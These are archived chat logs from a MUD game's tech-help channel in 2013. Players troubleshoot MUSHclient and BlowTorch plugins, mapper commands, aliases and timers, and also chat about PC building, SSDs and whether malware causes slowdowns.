T3/r7/2013-04-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: mis
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Lorken Tech: - have a question - i just installed a plugin that is supposed to help with adding in commands during a fight - got that part worked out, but for some reason it messed up my ak command from mapper - does anyone know why it might have done that or what i can do to fix it?
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: AK isn't mapper, thats S&D
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: First try would be to reinstall S&D
T3/r7/2013-04-28.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: is there a way in blowtorch to copy output?
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: long click, yeah
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Tech: long-press should let you do that
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Lorken Tech: just tryied that :( - didn't work - think it is messing up the k part of it somehow - like it aliased something else to k - get command you don't know how to target when i type k mob
T3/r7/2013-04-28.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: doesn't work for me. i just get button creation.
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Been a while since I used, double tap zoom or highlight?
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Tech: uninstall the new plugin
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Tech: hmm, has BT2 been released yet? that's where the text selection widget came in
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Tech: http://www.offsetnull.com/blowtorch/v2-new-features-guide/
T3/r7/2013-04-28.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hmm
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Lorken Tech: if i imported a plugin and it installed a bunch of triggers and aliases - is there a way to uninstall it all or do i have to go through and remove each trigger and alias myself?
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Tech: the plugin should be fully self-contained
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Install it as a plugin from now on, don't import the parts :P
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Tech: it should not put ANY triggers in your game -> configuration -> triggers
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Tech: that's the point of the plugin system architecture
T3/r7/2013-04-28.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: trying the v2 test version now.
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Hanslanda Tech: this sucks, can play aard but can't surf the web.
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Floki Tech: What kind of programming language does Aardwolf use?
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Lua frontend C backend
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Tech: it is written in C...it employs Lua
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Floki Tech: ka thanks :)
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Deneroth Tech: Hello. Does anyone one here know how to make the movement buttons work for the droid app? When I try to use buttons it just scrolls my text screen instead as if I had tried to just touch a random section of screen
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Leinei Tech: Hmm, they've always worked for me.
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Dreckis Tech: my blowtorch app has been like that for quite a while now, no idea if its just some phones
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Leinei Tech: Are you on a phone or a tablet?
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Deneroth Tech: Tablet
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Leinei Tech: Nods, last time I recall someone having problems like that was on a tablet, too.
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Leinei Tech: don't remember if it was that exact thing or something different
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Leinei Tech: but something to do with buttons
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Leinei Tech: No idea why, though
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Deneroth Tech: Alright, thanks anyhow. Just would be so convenient if they worked so didnt have to keep closing and reopening my keyboard.
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Deneroth Tech: When my laptop is back from rma I'll look into a desktop mud client
T3/r7/2013-04-28.txt.gz:{chan ch=tech}HelperMan Hadar Tech: when building a gaming computer, is there a windows version i should go for? would 7 be the best?
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Hanslanda Tech: win 8 is a complete flop.  It may or may not be superior to 7, but the
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Hanslanda Tech: err, the entire market has effectively become disinterested.  The next few service packs or even Win9 are going to be a bit of a small step backwards as Windows tries to undo the Win8 damage.
T3/r7/2013-04-28.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i was never planning on using win 8 im going to build the computer from scratch, was just wondering if i should get 7 or another version
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Deneroth Tech: Definitely 7
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Hanslanda Tech: I wouldn't go any earlier than 7.  Everything else is just way too old, and there aren't any viable alternatives coming out of Apple or the nix collective.
T3/r7/2013-04-28.txt.gz:{chan ch=tech}HelperMan Hadar Tech: what would you recommend for a screen? im using an old dell tower i'm getting for free, so i guess i just have to find a way to work things around that
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Hanslanda Tech: screen is more about enjoyment than technical ability.  Just park yourself in front of, say, TVs or Monitors at your local computer/home theatre store and figure out what's just too big or too small.  Can also look at other stuff like LCD vs LED and OLED, and maybe supported screen resolutions, but several feature points just aren't standardized yet.
T3/r7/2013-04-28.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i was thinking two 24" i might just do like a 27 and call it done
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Hanslanda Tech: is there really much demand in gaming for dual monitoring?
T3/r7/2013-04-28.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i was going to use it for gaming/programming, im to lazy to game more then 1.5-2 hours unless its aard
T3/r7/2013-04-28.txt.gz:{chan ch=tech}HelperMan Hadar Tech: whats the differece between HDD and SSHD?
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Marsa Tech: solid state, it doesn't actually have disc. cmiiw
T3/r7/2013-04-28.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i know what SSD is, i guess there is a SSHD that has a disk or something like that
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Hanslanda Tech: where the information is written, basically.  HDD has a magnetized disk that spins to locate specific portions of the disk beneath the laser.  SSDs use some sort of plate, directly implanting electrons or something to influence the shape of the magnetic field.
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Daesilme Tech: I've never seen it referred to as SSHD, but it might be referring to a hybrid drive.  Basically small amount of SSD with larger spindle based HDD.
T3/r7/2013-04-28.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i saw the term on newegg while looking at hard drives, thats why i was like what
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Hanslanda Tech: standards are used only when they absolute have to be.  It's like this in everything involving computers.
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Daesilme Tech: OB: http://xkcd.com/927/
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Tech: Hanslanda giggles.
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Ophelion Tech: aard mush: how do i lock the widnows in place?
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Tech: aard layout lock
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Ophelion Tech: thanks Abe.
T3/r7/2013-04-29.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: im mush client if you use a clan exit does the mapper note it and use it in future
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Ferun Tech: you might have to set a Cexit for the exits. lots of clan rooms cant be mapped 
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Quadrapus Tech: Does anyone have a MUSH plugin that will convert a MUSH map to an image output?
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Quadrapus Tech: I want to generate Emerald-style maps from my MUSH maps
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Ayasinda Tech: I don't think you can that way
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Vonliege Tech: I'd be curious to know what they use for their maps (all of them).  I've seen some that say "created with xxx", but I don't recall.
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Quadrapus Tech: I think people do them by hand
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Quadrapus Tech: If that isn't the case, I want to talk to whoever does them
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Chimeishio Tech: I think Ani said she did hers with excel :P
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Alhena had a tool for iirc
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Vonliege Tech: when you say "by hand", I'll assume you mean with a  "vector graphics computer program"  - I'd be curious to know what program they use
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Ayasinda Tech: I think you "vector graphics compuer program" if also called microsoft paint
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Ayasinda Tech: Flawty did a few maps just recently. you can ask here how she made hers
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: paint is raster
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Ayasinda Tech: great old school tool for making maps
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: and yeah, alhena had a mapping program
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Vonliege Tech: "paint" is a bit-map (aster) prgram
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Ayasinda Tech: I don't care what type of program it is. I made lots of maps with it
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Vonliege Tech: K.. they were probrbly pretty maps, too... Just had to go "Abelinc" on you.
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: there is a rand mcnally joke here some where
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Book of Etzli Tech: There's an Apple's Map joke in there somewhere, too.
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: thought apple maps was a joke
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Vonliege Tech: who's fooling who... any conversation that has anything to do with making maps for a space that doesn't really exist is a joke.
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Vonliege Tech: but I'd be sad with out them
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Vonliege Tech: I've used open office impress to make a few maps for my personal use - and it would be more than capable of making "aard wiki" worthy maps.
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Vonliege Tech: that's the open source "microsoft powerpoint" clone
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Mye Tech: why design maps when you can design a map-designing program? so much more fun
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Chimeishio Tech: I tried using Visio, but the focus group didn't like the 1 to many relations
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Vonliege Tech: I'm more into making phone calls. not making phones.
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Farcodor Tech: The game keeps disconnecting when using the 'bigmap' command, is this a known issue?
T3/r7/2013-04-29.txt.gz:{chan ch=tech}ElFeneri Tech: I guess you have a bad connection
T3/r7/2013-04-29.txt.gz:{chan ch=tech}Vost Tech: it may be resolvable if you use mccp
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Hollister Tech: some of my processes take like 50% of my cpu, and even if I end it. a random process would do the same afterwards. I'm guessing... virus?
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: http://xkcd.com/1180/
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: so. true.
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: eh, there's an overlap at least >0... that venn is misleading
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: slow internet could indicate botnet issues, application crashing could indicate a compromised OS. Small, but definitely not 0
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Remember, lusers are dumb enough that we need not exaggerate to make them look worse.
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: check the diagram again
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Computer problems that make people say 'maybe it has a virus' <=> Computer problems caused by viruses.
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Again, not 0 overlap
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: exactly. it's never a virus
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is sometimes a virus
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it can be some sort of malware, but never a virus
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: modern viruses don't cause noticeable problems that would make people say that
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: >>A computer virus is a computer program that can replicate itself[1] and spread from one computer to another.
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: A botnet, which may well cause internet slowdown when used to run a DDOS, etc. is a virus.
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: the alt-text is also very good
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Eh, once you've seen a company policy that all drives be defragged daily, when that company has just installed SSDs, there really isn't anything left to surprise you :-P
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Jaenelle Tech: any quick way to scan a folder for corrupt images? :P
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Load it into lightroom
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Vonliege Tech: is there a way to designate a single line of a "world" alias to go to "execute"?
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Bertilak Tech: yes, just put: world.Execute("whateveryouwanthere")
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Vonliege Tech: Ok.. in quotes and parens?
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Bertilak Tech: the parethesis denotes text
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Vonliege Tech: I'll try it
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Bertilak Tech: if you want it to execute some commands etc you wouldn't want parethesis I don't think
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Vonliege Tech: just not working... tried all permutatinos of ( and "
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Bertilak Tech: what are you trying to get the alias to do?
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Vonliege Tech: it is primarily a "runto" alias with a "mapper goto xxxxx" after
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Bertilak Tech: okay actually I think you have to have the "send to" set to script
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Bertilak Tech: to use world.execute
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Vonliege Tech: K... the alternative (and not that big of a deal) is to spell out the "goto" with "run xxxxx"
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Bertilak Tech: you could probably just set the sendto to execute
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Bertilak Tech: unless you have commands in there that you don't want evaluated as aliases etc
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Bertilak Tech: then you wouldn't have to use anything special to get it to execute the mapper command portion
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Vonliege Tech: the initial "run xxxx" uses a clan hall portal, so that has to be parsed by the world
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Vonliege Tech: I just did the "mapper goto xxxx" part manually...  works okie dokie
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: no it doesn't
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You can do execute just fine and still use your clan hall portals.
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Bertilak Tech: unless you have "run" as an alias in your client, then it doesn't have to use anything special to do that part
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Bertilak Tech: if run is an alias within your client, then execute will do something weird with it
T3/r7/2013-04-30.txt.gz:{chan ch=tech}StArLiGhT Tech: HOW DO I GET MY MAPS FROM ONE CLIENT TO ANOTHER .?SOORY FOR CAPS
T3/r7/2013-04-30.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: HI
T3/r7/2013-04-30.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: It depends on the clients
T3/r7/2013-04-30.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: It's not a trivial thing though.
T3/r7/2013-04-30.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: What client are you moving from/to
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is usually quite difficult, and I would recommend just starting over - unless you mean upgrading mush to mush or something?
T3/r7/2013-04-30.txt.gz:{chan ch=tech}StArLiGhT Tech: ok lol um mush to mush
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Ferun Tech: what client?
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You need to hang onto the aardwolf.db file
T3/r7/2013-04-30.txt.gz:{chan ch=tech}StArLiGhT Tech: ok lol um mush to mush:)
T3/r7/2013-04-30.txt.gz:{chan ch=tech}StArLiGhT Tech: thanks
T3/r7/2013-04-30.txt.gz:{chan ch=tech}StArLiGhT Tech: that file in the file db_backups ?
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Tepeyollotl Tech: why would my timers just quit? don't think i did anything, just happened.
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Ticked the global disable?
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Tepeyollotl Tech: umm...can you be more specific? i didn't do anything, just noticed my tick timer not counting down, and reloaded mush and still the same thing.
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Tepeyollotl Tech: also tried reloading plugin tick timer and it says warning: timers not enabled
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Do me a quick favor and type 'autotick' and see if you turned it off somehow
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Tepeyollotl Tech: it just says i will be informed when the mud 'ticks'
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Tepeyollotl Tech: which it did, but still not showing on the time to tick display at the bottom of my screen like normal.
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Tepeyollotl Tech: looks like it must be something in BAST plugins, can't access any of them via keyboard input. eg eqs, and my spellup timers aren't decrementing either.
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: finally upgraded to a ssd. not bad
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Doc Holliday Tech: anyone built a mame arcade?
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Leinei Tech: Anyone know an easy way to record a short (~5 seconds) sound clip that's being produced by an application? (windows 7)
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Leinei Tech: Other than holding a mic up to the speakers
T3/r7/2013-04-30.txt.gz:{chan ch=tech}Leinei Tech: nvm, got it
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aslyn Tech: can someone advise? i accidentally clicked/moved something and the main window in my mushclient seems to have disappeared. how do i get it back?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Endtime Tech: see where the numbers 1, 2, 3, etc are on top? maybe try clicking on number 1
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aslyn Tech: it's already depressed
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aslyn Tech: the button for 1 i mean
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aslyn Tech: comms log on top and the maps and stats windows r still open 
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aslyn Tech: but just can't see the main window at all, although there's a shadowy (frame only and apparently translucent/transparent) box or window on one side
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aslyn Tech: that can't be interacted with
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aslyn Tech: anyone?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aslyn Tech: alternatively, could u tell me how i can reinstall without it affecting my mapper? how do i preserve what i have already mapped?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Ayasinda Tech: you can try typing resetaard.  That will reset all your windows to default
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aslyn Tech: that worked! (i mean the windows are all screwed up but they all appear now...)
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Aslyn Tech: now just need to customise them again. thank u very much!:)
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Ayasinda Tech: yep. They are all at default. You need to re-move and re-size them again.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Varas Tech: anyone here done movie editing with IMovie?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Varas Tech: I need to do a compilation movie (a promo vid) for a junior league quarterback, so I have to get clips from a lot of different game movies. The problem is that I'm using small clips from movies lasting about 10mins, so it's really heavy on my system. Is there a way to just copy/paste the clips I need and delete the event from the cache without the clips disappearing from my project?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Varas Tech: As in should I just save my project after every copy/paste?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Varas Tech: or export, reopen and add more clips?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Huitzil Opochtli Tech: Interesting I just goggled it
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Huitzil Opochtli Tech: erm google
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Varas Tech: I'm grateful you'd do that. I tried but I guess I'm too much of a nub.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Huitzil Opochtli Tech: On a Win7 machine I could tell what I use. Sorry I can't help any further.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: Varas nods.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: alot of linux - http://i.imgur.com/oJNGgiW.png
T3/r7/2013-05-01.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: if im on a laptop how wpuld i move if i normaly moved using nuber pad?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I bought a usb 10key
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But you can use the nsew letters to move
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: nsewud, rather
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i use del/home/end/pgup/pgdown/pause on a thinkpad
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vonliege Tech: Aardmush:  is there a code, or command that will parse the contents of the clipboard as a variable?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vonliege Tech: I guess a "pre-defined" variable?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: there are functions get/setclipboard, you could work some automagical with that if you wanted
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vonliege Tech: could you throw me an example to see how it's put together?  What I want to do is copy duckbat room numbers, and have them auto-populate a "mapper goto xxx" alias.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not sure what you mean, I haven't made anything like that - but the info is there to be played with. getcipboard will grab text into whatever Lua variable you like, to then be manipulated into a command of some sort
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: getclipboard, rather
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vonliege Tech: I'll play with that
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Anyone know why containers and wearable are mutally exclusive for compare? Or am I doing it wrong... seems to rather defeat the purpose, does it not?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: compare legs all wearable containers worked for me
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Oh, it works Abe - but it ignores the 'wearable' component. Being 201, that will only affect you if you have 232+ gear in the bag, of course
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Both 'compare legs wearable containers' and 'compare legs containers wearable' yield 1-201 gear for me
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So I suppose rather than mutually exclusive, I mean containers overrides wearable
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Tech: nod, I just tested on a slot where I do have too-high items and get the same result
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Alucard Tech: can you start to record a speedwalk somehow in mushclient with a command?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Myopic Tech: Mush has a mapper command I don't use and a history command
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Myopic Tech: check out mapper
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Trachx Tech: just go to destination room, do mapper thisroom to obtain room id, return to start room and type mapper where <room id>
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Myopic Tech: that works with the fiendish plugin, I use that
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Myopic Tech: AUTOMATIC MAPPER by Fiendish This plugin is a significantly improved GMCP version of the original ATCP mapper by Nick Gammon.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Zarton Tech: Is anyone around whom could help me with a mushclient question please?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Ayasinda Tech: just ask. If anyone is here and knows he will answer.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: what makes a macro difrent from a alias
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Zarton Tech: Ok then here goes. First I am using the screen reader JAWS with mushclient. I'm new to this client. Now if I have my prompt turned on, it is reading all the numbers very first thing.. eg, *types exits* "200 hp/200 hp 300m/300m...your exits are" and it's reading that to me when anything is being sent to the mud. However I found some vague information that could be sorted if a trigger is tied up to the prompt line and a newline is placed before the prompt so that when information is coming from the mud it would tell me like my exits first and then read the prompt after the information has been sent.  However i'm finding no information on how to do that.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Vesuviou Tech: y is it so long?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Zarton Tech: Sorry I thought I should explain my problem to save you needing to have clarification later.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Redryn Tech: I think most vi players turn off prompt
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Redryn Tech: but prompt shows up after your command output so not sure why it is read first
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Zarton Tech: I read an explaination once as to why it does but I didn't understand a word. It was the kind of answer that only people whom know how to fix it already would understand.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Ayasinda Tech: where did you read that?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Zarton Tech: It was somewhere I think buried in one of the mushclient forums. The guy who is I think the creator of mushclient, nick something is great for answering questions on the forums but to me his answers are not really explainations. Sort of like, "my car isn't starting what do I do?" and he answers install a x34c spark plug and you'll be good to go." but then your thinking ... what the on earch is that and where would I instal it.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Ayasinda Tech: lol.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Ayasinda Tech: But I don't know much about screen readers. If you don't get an anser here, try again in a few hours. Maybe then there's someone online that knows.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Zarton Tech: Thanks. Ok how about this one then, i'm reading through the documentation but I can't physically script in it yet. so i'm just using the wizards found in the game part, how can I make a trigger, lets say of my prompt and wildcard my hp number and then tie that wildcard to an alias?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Trachx Tech: you mean that you want to be able manually invoke hp/mana report instead of reading it from prompt ?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Zarton Tech: Yes please.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Trachx Tech: if so then you can use 'report' and turn of prompt
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Zarton Tech: Can it be done with the wizards or am I going to have to physicaly script it in?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Ayasinda Tech: for triggers and aliasses you cannot use the wizard. Assuming you mean the plugin wizard in the File menu
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Trachx Tech: though 'report' will also report your hp/mana to other persons in room
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Zarton Tech: Ok. understood. Thank you all for your time and help.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Trachx Tech: probably you could use plugin that will set up some variables basing on GMCP info
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Trachx Tech: those variables could be accessed from mush alias
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Zarton Tech: I think I know how I can do it once I can script in mushclient a bit. Ok. I must be off but thank you again.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Alucard Tech: can i record a speedwalk in mushclient?
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: #alias {sw1} {run foobar}
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Alucard Tech: using mushclient.
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I don't know of a way to ask MUSH "which steps have I taken" though
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Ayasinda Tech: I think he means he wants to run somewhere and record the steps
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: that works in mush, if you have aardmush
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Alucard Tech: i do
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: it comes with #alias and #trigger command line options
T3/r7/2013-05-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: mapper find <room name>|mapper where <matching #>|alias the results
